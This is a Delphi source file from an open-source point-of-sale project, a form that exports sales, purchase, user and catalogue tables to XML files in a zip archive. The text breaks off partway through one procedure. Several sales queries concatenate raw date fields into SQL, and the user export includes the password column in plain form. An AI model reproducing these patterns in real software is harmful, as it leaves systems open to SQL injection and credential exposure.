text stringlengths 14 6.51M |
|---|
// --------------------------------------------------------------------------
// Archivo del Proyecto Ventas
// Página del proyecto: http://sourceforge.net/projects/ventas
// --------------------------------------------------------------------------
// Este archivo puede ser distribuido y/o modificado bajo lo terminos de la
// Licencia Pública General versión 2 como es publicada por la Free Software
// Fundation, Inc.
// --------------------------------------------------------------------------
unit Exportar;
interface
uses
SysUtils, Types, Classes, QGraphics, QControls, QForms, QDialogs,
QStdCtrls, QButtons, QComCtrls, DBClient, IniFiles, SciZipFile;
type
TfrmExportar = class(TForm)
grpDatos: TGroupBox;
chkArticulos: TCheckBox;
btnExportar: TBitBtn;
btnCancelar: TBitBtn;
grpRuta: TGroupBox;
txtRuta: TEdit;
Label1: TLabel;
btnDir: TBitBtn;
grpAvance: TGroupBox;
lblTabla: TLabel;
chkClientes: TCheckBox;
chkProveedores: TCheckBox;
chkDepartamentos: TCheckBox;
chkCategorias: TCheckBox;
chkAreasVenta: TCheckBox;
chkTiposPago: TCheckBox;
chkUsuarios: TCheckBox;
chkTicket: TCheckBox;
chkEmpresa: TCheckBox;
chkDescuentos: TCheckBox;
chkVentas: TCheckBox;
txtDiaVentaIni: TEdit;
txtMesVentaIni: TEdit;
txtAnioVentaIni: TEdit;
lbl2: TLabel;
lbl1: TLabel;
txtDiaVentaFin: TEdit;
txtMesVentaFin: TEdit;
txtAnioVentaFin: TEdit;
lbl4: TLabel;
lbl3: TLabel;
lblAl: TLabel;
chkCompras: TCheckBox;
txtDiaCompraIni: TEdit;
txtMesCompraIni: TEdit;
txtAnioCompraIni: TEdit;
Label2: TLabel;
Label3: TLabel;
txtDiaCompraFin: TEdit;
txtMesCompraFin: TEdit;
txtAnioCompraFin: TEdit;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
chkCajas: TCheckBox;
ChkVendedores: TCheckBox;
chkInventario: TCheckBox;
txtDiaInvIni: TEdit;
txtMesInvIni: TEdit;
txtAnioInvIni: TEdit;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
txtDiaInvFin: TEdit;
Label10: TLabel;
txtMesInvFin: TEdit;
Label11: TLabel;
txtAnioInvFin: TEdit;
chkUnidades: TCheckBox;
procedure btnExportarClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure chkArticulosClick(Sender: TObject);
procedure chkVentasClick(Sender: TObject);
procedure Salta(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure btnDirClick(Sender: TObject);
procedure txtRutaExit(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure chkComprasClick(Sender: TObject);
procedure txtAnioVentaIniExit(Sender: TObject);
procedure txtAnioVentaFinExit(Sender: TObject);
procedure txtAnioCompraIniExit(Sender: TObject);
procedure txtAnioCompraFinExit(Sender: TObject);
procedure txtDiaVentaIniExit(Sender: TObject);
procedure Rellena(Sender: TObject);
procedure chkInventarioClick(Sender: TObject);
procedure txtAnioInvIniExit(Sender: TObject);
procedure txtAnioInvFinExit(Sender: TObject);
private
iIndice : integer;
zipArchivo : TZipFile;
StrStream : TStringStream;
function VerificaDatos:boolean;
procedure ExportaAreasVenta;
procedure ExportaArticulos;
procedure ExportaInventario;
procedure ExportaJuegos;
procedure RecuperaConfig;
procedure ExportaClientes;
procedure ExportaProveedores;
procedure ExportaDepartamentos;
procedure ExportaCategorias;
procedure ExportaUnidades;
procedure ExportaTiposPago;
procedure ExportaUsuarios;
procedure ExportaTicket;
procedure ExportaEmpresa;
procedure ExportaDescuentos;
procedure ExportaCajas;
function VerificaFechas(sFecha : string):boolean;
procedure ExportaVentas;
procedure ExportaVentasDet;
procedure ExportaVentasPago;
procedure ExportaNotasCredito;
procedure ExportaComprobantes;
procedure ExportaCompras;
procedure ExportaComprasDet;
procedure ExportaComprasPago;
procedure ExportaCodigos;
procedure ExportaVendedores;
procedure ExportaCtsXCobrar;
procedure ExportaInventario2;
public
end;
var
frmExportar: TfrmExportar;
implementation
uses dm;
{$R *.xfm}
procedure TfrmExportar.btnExportarClick(Sender: TObject);
begin
zipArchivo := TZipFile.Create ;
iIndice := 0;
if(VerificaDatos) then begin
if(chkAreasVenta.Checked) then
ExportaAreasVenta;
if(chkArticulos.Checked) and ((not chkVentas.Checked) or (not chkCompras.Checked) ) then
ExportaArticulos;
if(chkCajas.Checked) then
ExportaCajas;
if(chkClientes.Checked) and (not chkVentas.Checked) then
ExportaClientes;
if(chkProveedores.Checked) and (not chkArticulos.Checked) then
ExportaProveedores;
if(chkDepartamentos.Checked) and (not chkArticulos.Checked) then
ExportaDepartamentos;
if(chkCategorias.Checked) and (not chkArticulos.Checked) then
ExportaCategorias;
if(chkUnidades.Checked) and (not chkArticulos.Checked) then
ExportaUnidades;
if(chkTiposPago.Checked) then
ExportaTiposPago;
if(chkUsuarios.Checked) and ( (not chkVentas.Checked) or (not chkCompras.Checked) ) then
ExportaUsuarios;
if(chkTicket.Checked) then
ExportaTicket;
if(chkEmpresa.Checked) then
ExportaEmpresa;
if(chkDescuentos.Checked) then
ExportaDescuentos;
if(chkVendedores.Checked) and (not chkVentas.Checked) then
ExportaVendedores;
if(chkVentas.Checked) then begin
ExportaArticulos;
ExportaClientes;
ExportaUsuarios;
ExportaVentas;
ExportaVentasDet;
ExportaVentasPago;
ExportaNotasCredito;
ExportaComprobantes;
ExportaVendedores;
ExportaCtsXCobrar;
end;
if(chkCompras.Checked) then begin
ExportaArticulos;
ExportaUsuarios;
ExportaCompras;
ExportaComprasDet;
ExportaComprasPago;
end;
if(chkInventario.Checked) then
ExportaInventario2;
zipArchivo.SaveToFile(txtRuta.Text + 'ventas' + FormatDateTime('mmdd',Date) + '.zip');
zipArchivo.Free;
Application.MessageBox('Proceso terminado','Exportar',[smbOk]);
end
end;
function TfrmExportar.VerificaDatos:boolean;
var
dteFechaIni, dteFechaFin : TDateTime;
begin
Result := true;
if(Length(txtRuta.Text) > 0) then begin
if(not DirectoryExists(txtRuta.Text)) then
ForceDirectories(txtRuta.Text);
if(not DirectoryExists(txtRuta.Text)) then begin
Application.MessageBox('No se puede crear el directorio','Error',[smbOk]);
txtRuta.SetFocus;
Result := false;
end;
if(chkVentas.Checked) then begin
if (not VerificaFechas(txtDiaVentaIni.Text + '/' + txtMesVentaIni.Text + '/' + txtAnioVentaIni.Text)) then begin
Application.MessageBox('Introduce un fecha inicial válida para las ventas','Error',[smbOK],smsCritical);
txtDiaVentaIni.SetFocus;
Result := false;
end
else if (not VerificaFechas(txtDiaVentaFin.Text + '/' + txtMesVentaFin.Text + '/' + txtAnioVentaFin.Text)) then begin
Application.MessageBox('Introduce un fecha final válida para las ventas','Error',[smbOK],smsCritical);
txtDiaVentaFin.SetFocus;
Result := false;
end;
end;
if(chkVentas.Checked) and (Result) then begin
dteFechaIni := StrToDate(txtDiaVentaIni.Text + '/' + txtMesVentaIni.Text + '/' + txtAnioVentaIni.Text);
dteFechaFin := StrToDate(txtDiaVentaFin.Text + '/' + txtMesVentaFin.Text + '/' + txtAnioVentaFin.Text);
if(dteFechaIni > dteFechaFin) then begin
Application.MessageBox('La fecha final debe ser mayor o igual que la fecha inicial','Error',[smbOK],smsCritical);
txtDiaVentaIni.SetFocus;
Result := false;
end;
end;
if (chkCompras.Checked) and (Result) then begin
if (not VerificaFechas(txtDiaCompraIni.Text + '/' + txtMesCompraIni.Text + '/' + txtAnioCompraIni.Text)) then begin
Application.MessageBox('Introduce un fecha inicial válida para las compras','Error',[smbOK],smsCritical);
txtDiaCompraIni.SetFocus;
Result := false;
end
else if (not VerificaFechas(txtDiaCompraFin.Text + '/' + txtMesCompraFin.Text + '/' + txtAnioCompraFin.Text)) then begin
Application.MessageBox('Introduce un fecha final válida para las compras','Error',[smbOK],smsCritical);
txtDiaCompraFin.SetFocus;
Result := false;
end;
end;
if(chkVentas.Checked) and (Result) then begin
dteFechaIni := StrToDate(txtDiaVentaIni.Text + '/' + txtMesVentaIni.Text + '/' + txtAnioVentaIni.Text);
dteFechaFin := StrToDate(txtDiaVentaFin.Text + '/' + txtMesVentaFin.Text + '/' + txtAnioVentaFin.Text);
if(dteFechaIni > dteFechaFin) then begin
Application.MessageBox('La fecha final debe ser mayor o igual que la fecha inicial','Error',[smbOK],smsCritical);
txtDiaVentaIni.SetFocus;
Result := false;
end;
end;
end
else begin
Application.MessageBox('Introduce la ruta','Error',[smbOk]);
txtRuta.SetFocus;
Result := false;
end;
end;
procedure TfrmExportar.ExportaAreasVenta;
begin
lblTabla.Caption := 'Áreas de venta';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, caja, fecha_umov FROM areasventa ORDER BY nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('areasventa.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaArticulos;
begin
ExportaJuegos;
ExportaProveedores;
ExportaDepartamentos;
ExportaCategorias;
ExportaInventario;
ExportaCodigos;
ExportaUnidades;
end;
procedure TfrmExportar.ExportaInventario;
begin
lblTabla.Caption := 'Artículos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT o.codigo, a.desc_corta, a.desc_larga, a.precio1, a.precio2,');
SQL.Add('a.precio3, a.precio4, a.ult_costo, costoprom, a.desc_auto, a.existencia,');
SQL.Add('a.minimo, a.maximo, a.estatus, c.nombre AS categoria,');
SQL.Add('d.nombre AS departamento, a.tipo, a.proveedor1, a.proveedor2,');
SQL.Add('a.iva, a.fecha_cap, a.fecha_umov, a.estatus, a.existencia, a.fiscal FROM articulos a ');
SQL.Add('LEFT JOIN codigos o ON o.articulo = a.clave AND o.tipo = ''P''');
SQL.Add('LEFT JOIN categorias c ON a.categoria = c.clave');
SQL.Add('AND c.tipo = ''A'' LEFT JOIN departamentos d ON a.departamento = d.clave ORDER BY o.codigo');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('articulos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaCodigos;
begin
lblTabla.Caption := 'Códigos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT o.codigo AS primario, c.codigo AS alterno FROM codigos c');
SQL.Add('LEFT JOIN codigos o ON c.articulo = o.articulo AND o.tipo = ''P''');
SQL.Add('WHERE c.tipo = ''S''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('codigos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaJuegos;
begin
lblTabla.Caption := 'Juegos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT c.codigo AS juego, o.codigo, j.cantidad, j.precio');
SQL.Add('FROM juegos j LEFT JOIN codigos c ON j.clave = c.articulo AND c.tipo = ''P''');
SQL.Add('LEFT JOIN codigos o ON j.articulo = o.articulo ORDER BY c.codigo, o.codigo');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('juegos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaClientes;
begin
lblTabla.Caption := 'Clientes';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, rfc, calle, colonia, localidad, estado,');
SQL.Add('cp, ecorreo, descuento, telefono, credencial, vencimcreden,');
SQL.Add('limitecredito, ultimacompra, contacto, empresa, rfcemp,');
SQL.Add('calleemp, coloniaemp, localidademp, estadoemp, cpemp,');
SQL.Add('correoemp, celular, faxemp, telemp, fechacap, fechaumov,');
SQL.Add('precio, categoria FROM clientes');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('clientes.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaProveedores;
begin
lblTabla.Caption := 'Proveedores';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT p.clave, p.rfc, p.nombre, p.calle, p.colonia, p.cp,');
SQL.Add('p.localidad, p.estado, p.encargado, p.fax, p.ecorreo, p.nombrefiscal,');
SQL.Add('p.fecha_cap, p.telefono, p.fecha_umov, c.nombre AS categoria');
SQL.Add('FROM proveedores p LEFT JOIN categorias c');
SQL.Add('ON p.categoria = c.clave AND c.tipo = ''P'' ORDER BY p.nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('proveedores.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaDepartamentos;
begin
lblTabla.Caption := 'Departamentos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, fecha_umov FROM departamentos ORDER BY nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('departamentos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaCajas;
begin
lblTabla.Caption := 'Cajas';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT numero, nombre, serieticket, serienota, seriefactura, fecha_umov FROM cajas ORDER BY numero');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('cajas.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaCategorias;
begin
lblTabla.Caption := 'Categorias';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, tipo, cuenta, fecha_umov FROM categorias ORDER BY nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('categorias.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaUnidades;
begin
lblTabla.Caption := 'Unidades';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, tipo, fecha_umov FROM unidades ORDER BY nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('unidades.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaTiposPago;
begin
lblTabla.Caption := 'Tipos de pago';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nombre, abrircajon, referencia, fecha_umov, modo,');
SQL.Add('pagos, plazo, interes, enganche, montominimo, aplica, ');
SQL.Add('intmoratorio, tipointeres, tipoplazo FROM tipopago ORDER BY nombre');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('tipospago.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaUsuarios;
begin
lblTabla.Caption := 'Usuarios';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT login, contra, nombre, calle, colonia, cp,');
SQL.Add('localidad, estado, telefono, fecha_cap, fecha_umov, descuento');
SQL.Add('FROM usuarios ORDER BY login');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('usuarios.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT u.login, p.menu, p.opciones, p.permiso FROM permisos p');
SQL.Add('LEFT JOIN usuarios u ON p.usuario = u.clave ORDER BY u.login, p.menu');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('permisos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT u.login, p.clave, p.adicional FROM privilegios p');
SQL.Add('LEFT JOIN usuarios u ON p.usuario = u.clave ORDER BY u.login, p.clave');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('privilegios.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaTicket;
begin
lblTabla.Caption := 'Ticket';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT nivel, renglon, texto FROM ticket ORDER BY nivel, renglon');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('ticket.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaEmpresa;
begin
lblTabla.Caption := 'Empresa';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT * FROM empresa');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('empresa.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaDescuentos;
begin
lblTabla.Caption := 'Descuentos';
lblTabla.Refresh;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT d.fechaini, d.fechafin, o.codigo, p.nombre AS departamento,');
SQL.Add('c.nombre AS categoria, d.total, d.cantidad, d.porcentaje, d.volumen');
SQL.Add('FROM descuentos d LEFT JOIN codigos o ON d.articulo = o.codigo AND tipo = ''P''');
SQL.Add('LEFT JOIN departamentos p ON d.departamento = p.clave');
SQL.Add('LEFT JOIN categorias c ON d.categoria = c.clave');
SQL.Add('ORDER BY d.fechaini, d.fechafin');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('descuentos.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.FormClose(Sender: TObject;
var Action: TCloseAction);
var
iniArchivo : TIniFile;
i : integer;
begin
iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'config.ini');
with iniArchivo do begin
// Registra la posición y de la ventana
WriteString('Exportar', 'Posy', IntToStr(Top));
// Registra la posición X de la ventana
WriteString('Exportar', 'Posx', IntToStr(Left));
for i := 0 to grpDatos.ControlCount - 1do
if (grpDatos.Controls[i] is TCheckBox) then
if((grpDatos.Controls[i] as TCheckBox).Checked) then
WriteString('Exportar', grpDatos.Controls[i].Name, 'S')
else
WriteString('Exportar', grpDatos.Controls[i].Name, 'N');
// Registra la ruta de exportación
WriteString('Exportar', 'Ruta', txtRuta.Text);
// Registra la fecha inicial de las ventas
WriteString('Exportar', 'VentasIni', txtDiaVentaIni.Text + txtMesVentaIni.Text + txtAnioVentaIni.Text);
// Registra la fecha final de las ventas
WriteString('Exportar', 'VentasFin', txtDiaVentaFin.Text + txtMesVentaFin.Text + txtAnioVentaFin.Text);
Free;
end;
end;
procedure TfrmExportar.RecuperaConfig;
var
iniArchivo : TIniFile;
sIzq, sArriba, sValor: String;
i : integer;
begin
iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'config.ini');
with iniArchivo do begin
//Recupera la posición Y de la ventana
sArriba := ReadString('Exportar', 'Posy', '');
//Recupera la posición X de la ventana
sIzq := ReadString('Exportar', 'Posx', '');
if (Length(sIzq) > 0) and (Length(sArriba) > 0) then begin
Left := StrToInt(sIzq);
Top := StrToInt(sArriba);
end;
//Recupera la ruta de exportación
sValor := ReadString('Exportar', 'Ruta', '');
if (Length(sValor) > 0) then
txtRuta.Text := sValor;
for i := 0 to grpDatos.ControlCount - 1 do
if (grpDatos.Controls[i] is TCheckBox) then begin
sValor := ReadString('Exportar', grpDatos.Controls[i].Name, '');
if(sValor = 'S') then
(grpDatos.Controls[i] as TCheckBox).Checked := true;
end;
//Recupera la fecha inicial de ventas
sValor := ReadString('Exportar', 'VentasIni', '');
if (Length(sValor) > 0) then begin
txtDiaVentaIni.Text := Copy(sValor,1,2);
txtMesVentaIni.Text := Copy(sValor,3,2);
txtAnioVentaIni.Text := Copy(sValor,5,4);
end;
//Recupera la fecha final de ventas
sValor := ReadString('Exportar', 'VentasFin', '');
if (Length(sValor) > 0) then begin
txtDiaVentaFin.Text := Copy(sValor,1,2);
txtMesVentaFin.Text := Copy(sValor,3,2);
txtAnioVentaFin.Text := Copy(sValor,5,4);
end;
Free;
end;
end;
procedure TfrmExportar.chkArticulosClick(Sender: TObject);
begin
if(chkArticulos.Checked) then begin
chkProveedores.Checked := true;
chkDepartamentos.Checked := true;
chkCategorias.Checked := true;
chkUnidades.Checked := true;
chkProveedores.Enabled := false;
chkDepartamentos.Enabled := false;
chkCategorias.Enabled := false;
chkUnidades.Enabled := false;
end
else begin
chkProveedores.Checked := false;
chkDepartamentos.Checked := false;
chkCategorias.Checked := false;
chkUnidades.Checked := false;
chkProveedores.Enabled := true;
chkDepartamentos.Enabled := true;
chkCategorias.Enabled := true;
chkUnidades.Enabled := true;
end;
end;
function TfrmExportar.VerificaFechas(sFecha : string):boolean;
var
dteFecha : TDateTime;
begin
Result:=true;
if(not TryStrToDate(sFecha,dteFecha)) then begin
Result:=false;
end;
end;
procedure TfrmExportar.ExportaVentas;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Ventas';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT v.caja, v.numero, v.iva, v.total, v.cambio,');
SQL.Add('v.redondeo, v.estatus, c.nombre AS cliente, u.login, v.fecha, v.hora,');
SQL.Add('a.nombre AS area, t.caja AS cajaref, t.fecha AS fecharef,');
SQL.Add('t.hora AS horaref FROM ventas v LEFT JOIN clientes c ON v.cliente = c.clave');
SQL.Add('LEFT JOIN usuarios u ON v.usuario = u.clave LEFT ');
SQL.Add('JOIN areasventa a ON v.areaventa = a.clave');
SQL.Add('LEFT JOIN ventas t ON t.clave = v.ventaref');
SQL.Add('WHERE v.fecha >= ''' + sFechaIni + ''' AND ');
SQL.Add('v.fecha <= ''' + sFechaFin + '''');
SQL.Add('ORDER BY v.fecha, v.hora');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('ventas.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaVentasDet;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Detalle ventas';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT v.caja, v.fecha, v.hora, d.orden, o.codigo, d.cantidad, ');
SQL.Add('d.iva, d.precio, d.descuento, d.juego, d.devolucion, d.ventareforden, d.fiscal');
SQL.Add('FROM ventas v RIGHT JOIN ventasdet d ON ');
SQL.Add('v.clave = d.venta LEFT JOIN codigos o ON d.articulo = o.articulo AND o.tipo =''P'' ');
SQL.Add('WHERE v.fecha >= ''' + sFechaIni + ''' AND ');
SQL.Add('v.fecha <= ''' + sFechaFin + ''' ORDER BY d.venta, d.orden');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('ventasdet.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaVentasPago;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Pago ventas';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT v.caja, v.fecha, v.hora, t.nombre, p.importe, p.referencia,');
SQL.Add('p.orden, n.numero AS notacredito, n.caja AS cajanotacred');
SQL.Add('FROM ventaspago p LEFT JOIN ventas v ON p.venta = v.clave ');
SQL.Add('LEFT JOIN tipopago t ON p.tipopago = t.clave ');
SQL.Add('LEFT JOIN notascredito n ON p.notacredito = n.clave');
SQL.Add('WHERE v.fecha >= ''' + sFechaIni + ''' AND v.fecha <= ''' + sFechaFin + '''');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('ventaspago.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
Inc(iIndice);
dmDatos.cdsImExportar.Active := false;
Close;
StrStream.Free;
end;
end;
procedure TfrmExportar.ExportaNotasCredito;
var
sFechaIni, sFechaFin : String;
begin
lblTabla.Caption := 'Notas de crédito';
lblTabla.Refresh;
sFechaIni := txtMesVentaIni.Text + '/' + txtDiaVentaIni.Text + '/' + txtAnioVentaIni.Text;
sFechaFin := txtMesVentaFin.Text + '/' + txtDiaVentaFin.Text + '/' + txtAnioVentaFin.Text;
with dmDatos.qryImExportar do begin
dmDatos.cdsImExportar.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT n.numero, n.fecha, n.importe, n.estatus, n.caja, c.nombre AS cliente,');
SQL.Add('b.numero AS numcomprob, b.caja AS cajacomprob FROM notascredito n LEFT JOIN clientes c ON n.cliente = c.clave');
SQL.Add('LEFT JOIN comprobantes b ON n.comprobante = b.clave ORDER BY n.numero');
Open;
dmDatos.cdsImExportar.Active := true;
zipArchivo.AddFile('notascredito.xml');
strStream := TStringStream.Create('');
dmDatos.cdsImExportar.SaveToStream(strStream,dfxml);
zipArchivo.Data[iIndice] := strStream.DataString;
